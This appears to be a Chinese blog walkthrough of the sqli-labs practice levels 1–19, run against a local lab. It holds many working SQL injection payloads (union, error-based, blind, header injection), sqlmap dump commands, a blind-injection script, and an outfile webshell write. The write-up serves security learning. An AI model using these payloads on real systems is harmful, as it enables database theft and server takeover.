Contents
  1. 1. 前言
  2. 2. 知识储备
    1. 2.1. information_schema
    2. 2.2. 这是一些经常用到的函数
  • Less-1 to Less10
    1. 1. Less-1
    2. 2. Less-2
    3. 3. Less-3
    4. 4. Less-4
    5. 5. Less-5
    6. 6. Less-6
    7. 7. Less-7
    8. 8. Less-8
    9. 9. Less-9
    10. 10. Less-10
  • Less-11 to Less-20
    1. 1. Less-11
    2. 2. Less-12
    3. 3. Less-13
    4. 4. Less-14
    5. 5. Less-15
    6. 6. Less-16
      1. 6.1. 注入方式与回显对比
      2. 6.2. 分析查询语句
    7. 7. Less-17
      1. 7.1. 派生表注入过程
      2. 7.2. updatexml()注入
        1. 7.2.1. 注入过程
    8. 8. Less-18
      1. 8.1. 分析
      2. 8.2. 注入
    9. 9. Less-19
      1. 9.1. 分析
      2. 9.2. 注入
    10. 10. Less-20
      1. 10.1. 分析
      2. 10.2. 注入过程
  • Less-21 to Less30
    1. 1. Less-21
      1. 1.1. 分析
      2. 1.2. 注入
    2. 2. Less-22
    3. 3. Less-23
      1. 3.1. 分析
      2. 3.2. 注入
  • 前言

    web题目中好多注入啊,学习一波。

    知识储备

    我是用的phpstudy,用cmd先打开数据库看看(因为忘了怎么在cmd中打开了,所以试一试)。

    1
    F:\phpstudy\PHPTutorial\MySQL\bin>mysql -u root -p

    然后输入密码即可进入MySQL,

    information_schema

    在MySQL中,把【INFORMATION_SCHEMA】 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    下面对一些重要的数据字典表做一些说明:

    SCHEMATA表:提供了关于数据库的信息。
    TABLES表:给出了关于数据库中的表的信息。
    COLUMNS表:给出了表中的列信息。
    STATISTICS表:给出了关于表索引的信息。
    USER_PRIVILEGES表:给出了关于全程权限的信息。该信息源自mysql.user授权表。
    SCHEMA_PRIVILEGES表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。
    TABLE_PRIVILEGES表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。
    COLUMN_PRIVILEGES表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。
    CHARACTER_SETS表:提供了关于可用字符集的信息。
    COLLATIONS表:提供了关于各字符集的对照信息。
    COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。
    TABLE_CONSTRAINTS表:描述了存在约束的表。
    KEY_COLUMN_USAGE表:描述了具有约束的键列。
    ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。
    VIEWS表:给出了关于数据库中的视图的信息。
    TRIGGERS表:提供了关于触发程序的信息。
    原文链接:https://www.cnblogs.com/hfdp/p/5549384.html

    这是一些经常用到的函数

    1
    2
    3
    4
    5
    1. version()——MySQL 版本
    2. user()——数据库用户名
    3. database()——数据库名
    4. @@datadir——数据库路径
    5. @@version_compile_os——操作系统版本

    字符串连接函数

    1
    2
    3
    concat(str1,str2,...)——没有分隔符地连接字符串
    concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
    group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据

    Less-1 to Less10


    Less-1

    也可以使用sqlmap

    sqlmap -u “http://127.0.0.1/sqlilabs/Less-1/?id=1″ –dbms mysql –level 3

    指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面),一些命令。

    –is-dba 当前用户权限(是否为root权限)
    –dbs 所有数据库
    –current-db 网站当前数据库
    –users 所有数据库用户
    –current-user 当前数据库用户
    –random-agent 构造随机user-agent
    –passwords 数据库密码
    –proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
    –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)

    输入**?id=1**会回显出id=1的用户信息,

    尝试输入**?id=1 and 1=1?id=1 and 1=2**都可以正常回显

    输入**?id=1’**,发现报错
    klynhT.png

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
    

    是单引号闭合错误,

    1
    2
    ?id=1' and '1'='1   //回显正常
    ?id=1' and '1'='2 //无回显

    输入**?id=1’–+**即可正常回显

    接下来用order by来测试表的列数,
    ?id=1' order by 3--+
    kl6yM4.png
    ?id=1' order by 4--+
    kl6DRU.png

    可以看出猜测3列时,回显正常,猜测4时,报错,说明这个表有3列。

    接下来使用联合查询union

    ?id=-1' union select 1.2.3--+

    1,2,3 只是为了保证union前后两个语句的列数相同,
    id=-1 则是为了使前一个查询无返回结果从而返回第二个 select 的查询结果,只需要将数字替换为相应的想要查询的信息即可.比如:
    ?id =1 union select 1,database(),user()--+

    下面使用MySQL自带的一个表information_schema,依次爆库名,爆表名,爆列名,爆数据了

    爆库名
    ?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
    klR00J.png

    爆表名
    ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
    klhEk9.png

    ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ //可以直接爆表

    爆列名
    ?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table.name='users'--+
    klh8kd.png

    爆数据
    ?id=-1' union select 1,username,password from users where id=5--+
    klhB7Q.png


    Less-2

    还是用ID查询
    ?id=1 and 1=1 正常回显
    ?id=1 and 1=2 无回显,不报错
    ?id=1' 会报错,原因是单引号出现了奇数次

    整型注入,用order by测试,发现有3列
    ?id=1 order by 4--+会报错

    使用union查询
    ?id=-1 union select 1,2,3--+
    1,2,3可以任意替换成其他信息,

    如:?id=-1 union select 1,version(),database()--+
    kl7JhQ.png

    然后就可以像Less-1一样了
    klbkJe.png

    得到数据库名字为security后
    爆表
    ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
    爆列
    ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
    爆数据
    ?id=-1 union select 1,username,password from users where id=3--+


    Less-3

    输入**?id=1’,报错:
    klbTld.png
    报错提示说
    )**不对,可见是单引号后面加括号形成的查询语句

    尝试构造?id=1')--+,发现可以正常回显。
    然后就和Less-1一样的步骤。


    Less-4

    输入’,无变化;
    输入”,报错,
    k3sHcF.png

    可见是双引号和括号的闭合
    构造**?id=1”)–+**,正常回显
    payload:
    http://127.0.0.1/sqlilabs/Less-4/?id=-1%22)%20union%20select%201,2,database()--+
    然后就是前面的套路


    Less-5

    更具体的可以看Hyafinthus

    ?id=1?id='正常,且无回显;?id=1'报错:字符型双注入。
    利用双查询注入,可以得出数据库名称

    ?id=-1' union select 1,count(*),concat_ws('-',(select database()),floor(rand()*2)) as a from information_schema.tables group by a--+

    kjKnVP.png

    然后,通过group_concat()函数将查到的表名连接并返回报错,得出表名
    ?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2)) as a from information_schema.tables group by a--+
    即可一步步得到用户信息。

    再来一个报错注入payload
    ?id=1' and updatexml(1,concat(0x7e,version(),0x7e),1)%23


    Less-6

    输入**?id=1’**,不报错
    k32uIs.png

    尝试**?id=1”**,出现报错
    k32GsU.png

    可见,是双引号的注入,其余和Less-5一样。

    Less-7

    分别测试?id=1,?id=1',?id=1".

    输入单引号测试,出现报错。

    You have an error in your SQL syntax

    第一、第三条正常,第二条报错:字符型注入

    注意:这里要强调一下,一般在Sql查询语句中,单双引号不能同时存在。即数字型/字符型及单/双引号注入能在这三条语句返回的结果判断出来。

    分析是否存在括号及个数:

    ?id=1’ and 1=1–+

    将查询语句后半段注释掉发现仍报错,说明有括号。依次增加括号个数,直到回显正常.

    ?id=1’)) and 1=1–+

    注意:一般在Sql查询语句中,想要正常查询到信息,只能在最里层有引号,外层全是小括号。即已知注入类型后依次增加括号数必能分析出括号数(存在注入点)。


    这一关是关于文件的一些操作。所以先了解一下关于文件的相关操作。

    1
    load_file(file_name);读取文件并返回该文件的内容作为一个字符串。

    使用的条件

    A.必须有权限读取并且文件可读and (select count(\*) from mysql.user)>0\* 如果结果返回正常,说明具有读写权限。如果返回错误,则说明管理员给数据库降权。
    B.欲读取文件必须在服务器上。
    C.必须指定文件完整的路径
    D.欲读取文件必须小于max_allowed_packet

    实际应用时,文件读取权限是最难满足的,我们有两个难点需要解决:

    1.绝对物理路径
    2.构造有效的畸形语句(报错爆出绝对路径)

    实例:
    select 1,2,3,4,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109))))利用hex()将文件导出来,特别是smb文件
    -1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
    注意:c:/boot.ini的十六进制是0x633s2f626f6f742e696e69
    -1 union select 1,1,1,load_file(C:\\boot.ini)
    注意:路径里的/用\代替

    SELECT INTO OUTFILE 'file_name',导入到文件中,具体参阅其他文章。file_name 不能是一个已经存在的文件。


    ?id=1?id=1"正常,?id=1'报错:字符型注入
    注意

    这里要强调一下,一般在Sql查询语句中,单双引号不能同时存在。即数字型/字符型及单/双引号注入能在这三条语句返回的结果判断出来。

    分析是否存在括号及个数:?id=1' and 1=1--+
    报错

    1
    You have an error in your SQL syntax

    说明有括号存在,依次增加括号个数,直到回显正常

    ?id=1’)) and 1=1–+

    注意

    一般在Sql查询语句中,想要正常查询到信息,只能在最里层有引号,外层全是小括号。即已知注入类型后依次增加括号数必能分析出括号数(存在注入点)。

    尝试导出文件
    ?id=1')) union select * from users into outfile "F:\\phpstudy\\PHPTutorial\\WWW\\sqlilabs\\Less-7"--+

    发现无论怎么弄,但是一直报错,而且该路径下也没有出现文件

    可能原因1:
    权限不够,需要root权限才能对数据库进行读写操作。
    ?id=1')) and (select count(*) from mysql.user)>0--+
    回显正常,说明不是权限问题。

    可能原因2:
    mysql数据库中secure_file_priv的参数问题
    查看官方文档,secure_file_priv参数用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()传到哪个指定目录。

    1.secure_file_priv为NULL时,表示限制mysqld不允许导入或导出。
    2.secure_file_priv为/tmp时,表示限制mysqld只能在/tmp目录中执行导入导出其他目录不能执行。
    3.secure_file_priv没有值时,表示不限制mysqld在任意目录的导入导出。

    输入show variables like '%secure%',查看secure_file_priv 的值,发现为NULL,表示限制不能导入导出
    kjiIJI.png

    如果想要往任意路径下导入导出,那么需要把secure_file_priv的值设成空。
    找到mysql目录下的my.ini或者my.cnf文件,写入这句话

    secure_file_priv=’’

    重启mysql服务器,再次进行查询,secure_file_priv值为空了
    kjFWcV.png

    再次导出文件

    ?id=1’)) union select 1,2,’‘ into outfile ‘F:\phpstudy\PHPTutorial\WWW\sqlilabs\Less-7\1.php’–+

    依然有报错
    kjksKK.png
    但是该路径下已经有导出的文件了
    kjkBgx.png
    kjkXPs.png

    然后菜刀连接
    kjAUL8.png

    Less-8

    查看源码,发现对报错信息进行了注释,不能进行报错注入,只能盲注。
    盲注payload:?id=1%27and%20if(ascii(substr(database(),1,1))=115,1,sleep(5))--+ 第一个字符
    ?id=1' and if(ascii(substr(database(),2,1))=101,1,sleep(5))--+ 第二个字符
    以此类推。

    盲注脚本:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    import requests

    url = '''http://192.168.100.102/sqlilabs/Less-8/?id=1' and ascii(substr((select database()),{_},1))
    >{__} %23'''

    database = ''

    for i in range(1,9):
    max = 127
    min = 65
    while abs(max-min)>1:
    mid = (max+min)//2
    payload = url.format(_=i,__=mid)
    ans = requests.get(payload)
    if 'You are in...........' in ans.content:
    min = mid
    else:
    max = mid
    database = database + chr(max)
    print database

    Less-9

    Less8中,输入合法时会返回正常页面“You are in”,而非法输入时没有返回任何东西。于是可以根据这个特点跑盲注,通过不同的返回页面来判断匹配的字符是否正确。
    而在Less9中,合法输入与非法输入返回为同一个固定字符串。这样就不能根据页面的回显来判断匹配结果,要使用延时函数sleep()对两种输入进行区分。

    这一关是单引号闭合。?id=1'

    爆库
    ?id=1'and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+

    爆表
    ?id=1'and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+

    爆列
    ?id=1'and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))=105,1,sleep(5))--+

    爆内容
    ?id=1'and if(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+

    Less-10

    是双引号闭合?id=1"
    ?id=1" and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+

    Less-11 to Less-20


    Less-11

    这一关开始POST部分了,为了方便查看,使用burpsuite。

    可以使用sqlmap

    bp抓包后,copy to file,放在sqlmap目录下,

    kvYjCn.png

    命令如下:

    python sqlmap.py -r 11.txt

    爆库:python sqlmap.py -r 11.txt --dbs

    爆表:python sqlmap.py -r 11.txt -D 数据库名 --tables

    爆列:python sqlmap.py -r 11.txt -D 数据库名 -T 表名 --columns

    爆内容:python sqlmap.py -r 11.txt -D 数据库名 -T 表名 -C 列名 --dump

    按步骤来就可以。

    下面是手工注入

    测试一下,输入username=1 password=1 抓包
    在burpsuite中提交参数

    发现uname=1&passwd=1'报错
    kj1dm9.png
    uname=1&passd=1uname=1&passwd=1"不报错
    可见是单引号闭合

    构造永真条件测试注入点:
    uname=1&passwd=1' or 1=1--+
    kj1DFx.png

    因limit0,1返回了表中第一条的信息:Dumb,Dumb,即这里存在注入点,
    or'1'='1'是一个永真条件(也可以用其他永真条件替代),使查询语句相当于select username,password from users where true即select username,password from users,返回所有结果。

    利用order by判断字段数
    uname=1&passwd=1%27 order by 2--+不报错
    uname=1&passwd=1%27 order by 2--+报错,说明有两个字段
    kj16SO.png

    利用union语句联合查询:得到用户名和数据库名
    爆库
    uname=1&passwd=-1' union select database(),user()--+
    kj1off.png

    爆表
    uname=1&passwd=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--+
    kj3iX4.png

    爆列名
    uname=1&passwd=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
    kj3WgU.png

    爆内容
    uname=1&passwd=1' union select group_concat(username),group_concat(password) from users--+
    kj83xU.png

    Less-12

    uname=1&passwd=1")报错,可见是双引号+括号闭合

    其他操作就和Less-11一样。

    Less-13

    uname=1&passwd=1uname=1&passwd=1"不报错
    uname=1&passwd=1'报错,缺少一个括号
    kj8qds.png

    uname=1&passwd=1')--+闭合

    uname=1&passwd=1') union select database(),user()--+居然无回显,看来是想错了

    这题和上面的几道不一样,而是和Less-5差不多

    尝试一个报错注入payload,成功爆库

    uname=1&passwd=1') and updatexml(1,concat(0x7e,database(),0x7e),1)--+

    kjGclT.png

    也可以双查询注入

    uname=1&passwd=1') union select count(*),concat_ws('-',(select user()),(select database()),floor(rand()*2)) as a from information_schema.tables group by a--+

    注意:如果上面的语句没有反应的话,先进行url编码试试看

    很奇怪,有时可以回显,有时不能回显。

    报错注入比较好使。

    爆库

    kjJSht.png

    得到库名和用户名

    爆表

    uname=1&passwd=1') union select count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2)) as a from information_schema.tables group by a--+

    爆字段

    uname=1&passwd=1') union select count(*),concat_ws('-',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),floor(rand()*2)) as a from information_schema.tables group by a--+

    爆内容

    uname=1&passwd=1') union select count(*),concat_ws('-',(select concat_ws('-',id,username,password) from users limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a--+

    Less-14

    是双引号闭合,其他和上面一样。

    Less-15

    其实从前面几关开始,正确回显,是显示这张照片

    kvZXVK.png

    错误回显,是显示这张照片。

    kveFqP.png

    挨个测试这些

    uname=1&passwd=1 or 1=1–+
    uname=1&passwd=1’ or 1=1–+
    uname=1&passwd=1” or 1=1–+
    uname=1&passwd=1’) or 1=1–+
    uname=1&passwd=1”) or 1=1–+

    经过测试,uname=1' or 1=1#$passwd=1回显正确,uname=1 or 1=1#$passwd=1uname=1" or 1=1#$passwd=1是不能正确回显的。

    所以是bool型单引号闭合盲注,然后就是盲注的套路。

    Less-16

    转自简书Hyafinthus

    这两关的后台php文件其实是一样的,只是为了练习两种盲注方式。

    注入方式与回显对比

    GET

    Less 注入方法 正确回显 错误回显
    1 基于错误注入 查询到的用户名和密码 Mysql错误信息
    5 双注入 固定字符串 Mysql错误信息
    7 导出文件注入 固定字符串 另一固定字符串
    8 Bool型盲注 固定字符串
    9 Time型盲注 固定字符串 同一固定字符串

    POST

    Less 注入方法 成功回显 失败回显 错误回显
    11 基于错误注入 用户名和密码 (flag.jpg) 无 (slap.jpg) Mysql错误信息 (slap.jpg)
    13 双注入 无 (flag.jpg) 无 (slap.jpg) Mysql错误信息 (slap.jpg)
    15 Bool/Time型盲注 无 (flag.jpg) 无 (slap.jpg) 无 (slap.jpg)

    注意:GET和POST差别在于,GET只需要提交参数id,而POST则需要usernamepassword都正确。

    分析查询语句

    不像GET中若出现错误回显必是Mysql语法错误(提交时使id存在),POST若不返回Mysql错误信息,光凭一个登录失败是分不清是用户名和密码不正确还是出现了Mysql语法错误。

    所以我们就需要在POST时构造永真条件使返回忽略用户名和密码不正确这种情况。若将查询语句闭合则会显示登陆成功,则可以依次增加小括号个数分析查询语句:

    uname=1&passwd=1 or 1=1–+
    uname=1&passwd=1’ or 1=1–+
    uname=1&passwd=1” or 1=1–+
    uname=1&passwd=1’) or 1=1–+
    uname=1&passwd=1”) or 1=1–+

    经测试是time型双引号加小括号的盲注。试了一下bool也行。

    Less-17

    这个不知道怎么写,在网上查了好多,才看明白点。

    作者:Hyafinthus

    链接:https://www.jianshu.com/p/62d394c38230

    如果想看详细的请看一下这位博主的文章sqlilabs的题解,非常的详细。Hyafinthus,我也是参考他的文章学的。

    查看源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    if(isset($_POST['uname']) && isset($_POST['passwd']))
    {
    //making sure uname is not injectable
    $uname=check_input($_POST['uname']);

    $passwd=$_POST['passwd'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'User Name:'.$uname."\n");
    fwrite($fp,'New Password:'.$passwd."\n");
    fclose($fp);
    // connectivity
    @$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    //echo $row;
    if($row)
    {
    //echo '<font color= "#0000ff">';
    $row1 = $row['username'];
    //echo 'Your Login name:'. $row1;
    $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
    mysql_query($update);

    check_input()

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    function check_input($value)
    {
    if(!empty($value))
    {
    // truncation (see comments)
    $value = substr($value,0,15);
    }
    // Stripslashes if magic quotes enabled
    if (get_magic_quotes_gpc())
    {
    $value = stripslashes($value);
    }
    // Quote if not a number
    if (!ctype_digit($value))
    {
    $value = "'" . mysql_real_escape_string($value) . "'";
    }
    else
    {
    $value = intval($value);
    }
    return $value;
    }

    几个PHP函数

    substr()函数

    1
    substr(string,start[,length])
    参数 描述
    string 必需,规定要返回其中一部分的字符串
    start 必需,规定在字符串的何处开始
    正数:在字符串的指定位置开始
    负数:在从字符串结尾开始的指定位置开始
    0:在字符串中的第一个字符处开始
    length 可选,要返回的字符数。如果省略,则返回剩余文本
    正数:从start参数所在的位置返回的长度
    负数:从字符串末端返回的长度

    get_magic_quotes_gpc()函数

    get_magic_quotes_gpc()函数取得PHP环境配置的变量magic_quotes_gpc(GPC, Get/Post/Cookie)值。返回0表示本功能关闭,返回1表示本功能打开。

    magic_quotes_gpc打开时,所有的'(单引号)"(双引号)\(反斜杠)NULL(空字符)会自动转为含有反斜杠的溢出字符。

    addslashes()与stripslashes()函数

    addslashes(string)函数返回在预定义字符之前添加反斜杠\的字符串:

    单引号 ' ,双引号 " ,反斜杠 \ ,空字符 NULL

    该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

    注意:默认地,PHP对所有的GET、POST和COOKIE数据自动运行addslashes()。所以不应对已转义过的字符串使用addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数get_magic_quotes_gpc()进行检测。

    `

    stripslashes(string)函数删除由addslashes()`函数添加的反斜杠。

    ctype_digit()函数

    ctype_digit(string)函数检查字符串中每个字符是否都是十进制数字,若是则返回TRUE,否则返回FALSE

    mysql_real_escape_string()函数

    1
    mysql_real_escape_string(string,connection)
    参数 描述
    string 必需,规定要转义的字符串
    connection 可选,规定MySQL连接。如果未规定,则使用上一个连接

    mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符:

    \x00,\n,\r,\,',",\x1a

    如果成功,则该函数返回被转义的字符串。如果失败,则返回FALSE

    本函数将字符串中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于mysql_query(),可使用本函数来预防数据库攻击。

    intval()函数

    1
    intval(var[,base])
    参数 描述
    var 要转换成integer的数量值
    base 转化所使用的进制

    intval()函数获取变量的整数值。通过使用指定的进制base转换(默认是十进制),返回变量varinteger数值。intval()不能用于object,否则会产生E_NOTICE错误并返回1

    成功时返回varinteger值,失败时返回0。空的array返回0,非空的array返回1,最大的值取决于操作系统。

    如果base0,通过检测var的格式来决定使用的进制:

    • 如果字符串包括了0x0X的前缀,使用16进制hex;否则,
    • 如果字符串以0开始,使用8进制octal;否则,
    • 使用10进制decimal

    有参数检查与过滤

    注意:在用uanme查询之前,它用check_input()函数做了检查。

    1. 若uname非空,截取它的前15个字符。
    2. 若php环境变量magic_quotes_gpc打开,去除转义的反斜杠\
    3. 若uname字符串非数字,将其中特殊字符转义;为数字则将其转为数字类型。

    所以我们几乎不可能在uname处注入,唯一的注入点在passwd处。

    子查询注入

    当在一个聚合函数如count()函数后面,如果使用分组语句如group by就会把查询的一部分以错误的形式显示出来。

    选择哪种方式

    子查询注入在Less-5中即双注入,对于updatedeleteinsert通常都用结合or的逻辑判断。

    在后台是select语句时我们能通过union联合查询CONCAT子查询(即Less5使用的双注入)获得错误信息中的数据。
    而这里的后台是updatedelete/insert)语句,我们只能通过or逻辑判断派生表(在Less5中提到一句)来获得错误信息中的数据。

    注意:**上面这段是根据实际情况推断出的,但没有触及原理,也不完全正确。经过对比Less5的两种子查询和查找资料,得到了正确的结论。

    使用CONCAT子查询时,错误信息提示子查询中应该只包含一个字段。

    uname=admin&passwd=' or (select count(*),concat_ws('-',(select database()),floor(rand()*2)) as a from information_schema.tables group by a) where username='admin'--+

    kvryRg.png

    使用派生表时,错误信息能返回我们想要的数据。

    uname=admin&passwd=' or (select 1 from (select count(*),concat_ws('-',(select user()),floor(rand()*2)) as a from information_schema.tables group by a)b) where username='admin'--+

    kvyCNV.png

    在下一步之前,我们先理清子查询派生表

    子查询与派生表

    子查询有两种:一是WHERE子句中的子查询;二是FROM子句中的子查询,这种子查询又被称为派生表

    • WHERE子句中:
    1
    2
    3
    4
    5
    SELECT column_name
    FROM table_name
    WHERE column_name IN (SELECT column_name
    FROM table_name
    WHERE condition)
    • FROM子句中:
    1
    2
    3
    4
    5
    SELECT column_name
    FROM (SELECT column_name
    FROM table_name
    WHERE condition) derived_table_name
    WHERE condition

    可以看出这两种实际上并无区别

    只是在Less-5select查询返回的字段数为3,足够在column_list中将count()concat()都包含进去,所以用CONCAT子查询更简单。

    而在Less-17update查询返回的字段数只有1!不足以使count()后接上concat()这样一个查询语句,这时候就只能通过派生表再将上一层子查询包裹起来,通过select 1 from (报错的CONCAT子查询) derived_table_name使注入查询的字段与update查询的字段数相等!

    (严格来说,这里已经不能叫双注入而是三注入了,都称为子查询注入)

    所以,子查询注入重点在于控制子查询使涉及字段数相等。select使用union,update/delete/insert使用or。而CONCAT子查询或是派生表只是手段。

    派生表注入过程

    爆库

    uname=admin&passwd=' or (select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2)) as a from information_schema.tables group by a)b) where username='admin'--+

    kv6pKH.png

    爆表

    uname=admin&passwd=' or (select 1 from (select count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2)) as a from information_schema.tables group by a)b) where username='admin'--+

    kv6HSS.png

    一直没成功Subquery returns more than 1 row子查询返回多行

    于是用limit来限制范围,一条一条的来查询,结果一直找不到limit放的位置,以后在研究吧。

    爆字段

    uname=admin&passwd=' or (select 1 from (select count(*),concat_ws('-',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),floor(rand()*2))as a from information_schema.tables group by a) b) where username='admin'--+

    这个也一样Subquery returns more than 1 row

    爆内容

    uname=admin&passwd=' or (select 1 from (select count(*),concat_ws('-',(**select concat_ws('-',id,username,password) from users limit 0,1**),floor(rand()*2))as a from information_schema.tables group by a) b) where username='admin'--+

    kvfusU.png

    不知道为啥开始也报了几次Subquery returns more than 1 row,多提交了几次就可以了。

    updatexml()注入

    updatexml()函数

    1
    updatexml(xml_target,xpath_expr,new_xml)
    参数 描述
    xml_target 目标xml,形式类似于节点目录
    xpath_expr xml的表达式(xpath格式)
    new_xml 用来替换的xml

    updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数。

    简单来说就是,用new_xmlxml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。

    如:updatexml(asd, ‘//b’, abc),

    运行结果:abc

    其中’//b’的斜杠表示不管b节点在哪一层都替换掉,而’/b’则是指在根目录下替换,此处xml_target的根目录节点是a。

    注入原理

    updatexml()xml_targetnew_xml参数随便设定一个数,这里主要是利用报错返回信息。利用updatexml()获取数据的固定payload是:

    ... or updatexml(1,concat('#',(select * from (select ...) a)),0) ...

    注入过程

    爆库

    uname=admin&passwd=' or updatexml(1,concat('#',(database())),0)--+

    ' and updatexml(1,concat(0x7e,database(),0x7e),1)# 0x7e表示~

    kxeqgJ.png

    注意:因为xpath_expr是xpath格式,所以不是所有字符都可以作为concat()的连接符,如-@便不可以。

    爆表

    uname=admin&passwd=' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0)--+

    kxm8rn.png

    注意:这里不要用concat_ws(),会有未知错误使错误回显显示不全。

    爆列

    uname=admin&passwd=' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0)--+

    kxnmLR.png

    爆内容

    uname=admin&passwd=' or updatexml(1,concat('#',(select concat(id,'#',username,'#',password) from users limit 0,1)),0)--+

    kxn6yj.png

    报错,You can't specify target table 'users' for update in FROM clause>您无法在FROM子句中为更新指定目标表’users’

    意思是不能先select表中的某些值,再update这个表(在同一语句中)。

    解决方法:select出的结果作为派生表select一遍,这样就规避了错误。

    注意:此问题只出现于MySQL,msSQL和Oracle不会出现此问题。

    uname=admin&passwd=' or updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0)--+

    kxuEAP.png

    注意:这里的错误信息只显示了一部分,所以没有一次性输出所有数据(可以做到),而使用limit偏移注入。

    Less-18

    原文链接

    分析

    kxMdT1.png

    尝试了很多次之后,发现回显能够显示你的IP地址,看一下源码。

    1
    2
    $uagent = $_SERVER['HTTP_USER_AGENT'];
    $IP = $_SERVER['REMOTE_ADDR'];

    源码使用HTTP_USER_AGENT只获取了HTTP请求头的一个部分:User-Agent
    而获取IP则使用了REMOTE_ADDR,这能直接获取TCP协议数据包的底层会话IP地址,它能被代理服务器或路由修改伪造,但非修改XFF头就可以更改的。

    再看源码:

    1
    2
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);

    对POST的unamepasswd都做了check_input()处理,在Less-17已经分析了这个函数,所以表单不存在注入点。

    不论是否登录成功,都会回显IP
    登陆成功后回显uagent,并将uagentIPuname插入到security数据库的uagents表的uagentip_addressusername三个字段中。

    用已知的用户名登陆一下,并且测试一下X-Forwarded-For和User-Agent

    kxQCX4.png

    经过这次尝试可以看到:修改XFF头对IP没有影响,登陆成功会回显你的User-Agent
    这里要输入正确的账号和密码才能绕过账号密码判断,进入处理User-Agent部分。这跟现实中的注册登录再注入是比较贴合。

    所以注入点就在User-Agent处。

    注入

    这里我们仍需要根据回显报错来判断INSERT语句结构,首先任意尝试:

    User-Agent: Hyafinthus' updatexml(1,concat('#',(database())),0)--+

    kxQQnH.png

    源码中

    $insert=”INSERT INTO security.uagents (uagent, ip_address, username) VALUES (‘$uagent’, ‘$IP’, $uname)”;

    可以看到uagent是在IPuname之前的

    爆库

    User-Agent: Specter' or updatexml(1,concat('#',(database())),0),'','')#

    User-Agent: Specter' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

    1551947686682

    注意:这里并不是URL而是HTTP头,所以+并不会被转义为(空格),于是末尾的注释符号要变为#

    爆表

    User-Agent: Specter' and updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0),'','')#

    kxto9A.png试了一下and也行

    爆列

    User-Agent: ' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0),'','')#

    kxtBtJ.png

    爆内容

    User-Agent: ' or updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0),'','')#

    kxtOHS.png

    Less-19

    分析

    登录后,回显Referer信息,

    kxNkHU.png

    登录成功后发现回显的是Referer不是User-Agent,判断INSERT语句结构:

    Referer: Specter' updatexml(1,concat('#',(database())),0)#

    kxNhrV.png

    应该是表的结构变了,查看源码,只有refererIP

    insert=”INSERT INTO security.referers (referer, ip_address) VALUES (‘$uagent’, ‘$IP’)”;

